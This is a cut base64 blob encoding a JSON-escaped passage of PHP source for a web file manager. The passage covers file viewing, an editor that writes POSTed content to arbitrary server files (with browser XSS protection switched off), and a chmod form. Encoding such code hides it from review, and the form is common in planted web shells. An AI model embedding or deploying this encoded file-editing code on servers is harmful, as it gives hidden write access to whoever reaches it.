AgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0O1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXFwubWluXFwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPVwid2l0aC1obGpzXCI+PGNvZGUgY2xhc3M9XCInIC4gJGhsanNfY2xhc3MgLiAnXCI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPFwvY29kZT48XC9wcmU+JztcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzxcL3ByZT4nO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL2Rpdj5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkge1xuICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPFwvYj48XC9pPic7XG4gICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG5cbiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGZpbGUpO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7XG4gICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHtcbiAgICAgICAgaWYgKCRfR0VUWydlbnYnXSA9PSBcImFjZVwiKSB7XG4gICAgICAgICAgICAkaXNOb3JtYWxFZGl0b3IgPSBmYWxzZTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7XG4gICAgICAgICR3cml0ZWRhdGEgPSAkX1BPU1RbJ3NhdmVkYXRhJ107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpO1xuICAgICAgICBmY2xvc2UoJGZkKTtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JykpO1xuICAgIH1cblxuICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xuICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpO1xuICAgICRpc190ZXh0ID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcblxuICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS01IGNvbC1sZy02IHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLXRvb2xiYXJcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBqcy1hY2UtdG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJub25lXCIgZGF0YS1vcHRpb249XCJmdWxsc2NyZWVuXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLWZ1bGxzY3JlZW5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLWV4cGFuZFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJmaW5kXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXNlYXJjaFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1zZWFyY2hcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJ1bmRvXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwicmVkb1wiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS1yZWRvXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1yZXBlYXRcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwibm9uZVwiIGRhdGEtb3B0aW9uPVwid3JhcFwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS13b3JkV3JhcFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS10ZXh0LXdpZHRoXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnV29yZCBXcmFwJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPVwianMtYWNlLW1vZGVcIiBkYXRhLXR5cGU9XCJtb2RlXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2VsZWN0IERvY3VtZW50IFR5cGUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBNb2RlJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtdGhlbWVcIiBkYXRhLXR5cGU9XCJ0aGVtZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+XCIgY2xhc3M9XCJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2tcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtZm9udFNpemVcIiBkYXRhLXR5cGU9XCJmb250U2l6ZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiAtLTxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZWRpdC1maWxlLWFjdGlvbnMgY29sLXhzLTEyIGNvbC1zbS03IGNvbC1sZy02IHRleHQtZW5kIHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLWdyb3VwXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiIDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz5cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXJlcGx5LWFsbFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKTtcIiBvbmNsaWNrPVwiYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpXCI+PGkgY2xhc3M9XCJmYSBmYS1kYXRhYmFzZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiQWR2YW5jZWRcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mYW1wO2Vudj1hY2VcIj48aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnbnJsJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gU2F2ZVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCJQbGFpbiBFZGl0b3JcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXRleHQtaGVpZ2h0XCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnYWNlJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocFxuICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7XG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9XCJtdC0yXCIgaWQ9XCJub3JtYWwtZWRpdG9yXCIgcm93cz1cIjMzXCIgY29scz1cIjEyMFwiIHN0eWxlPVwid2lkdGg6IDk5LjUlO1wiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8XC90ZXh0YXJlYT4nO1xuICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKFwia2V5ZG93blwiLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKFwiTWFjXCIpID8gZS5tZXRhS2V5IDogZS5jdHJsS2V5KSAgJiYgZS5rZXlDb2RlID09IDgzKSB7IGUucHJldmVudERlZmF1bHQoKTtlZGl0X3NhdmUodGhpcyxcIm5ybFwiKTt9fSwgZmFsc2UpOzxcL3NjcmlwdD4nO1xuICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHtcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9XCJlZGl0b3JcIiBjb250ZW50ZWRpdGFibGU9XCJ0cnVlXCI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzxcL2Rpdj4nO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICAgICAgPz5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikge1xuICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRtb2RlID0gZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmaWxlKTtcbj8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgbWItMlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgPGg2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PlxuICAgICAgICAgICAgPFwvaDY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1ib2R5XCI+XG4gICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJjYXJkLXRleHRcIj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46IDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsncGF0aCddOyA/Pjxicj5cbiAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY2htb2RcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PlwiPlxuXG4gICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIGNvbXBhY3QtdGFibGVcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PFwvYj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdSZWFkJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1clwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJnclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwNDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJvclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogcmlnaHRcIj48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInV3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImd3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cIm93XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1eFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJneFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJveFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RhYmxlPlxuXG4gICAgICAgICAgICAgICAgICAgIDxwPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1c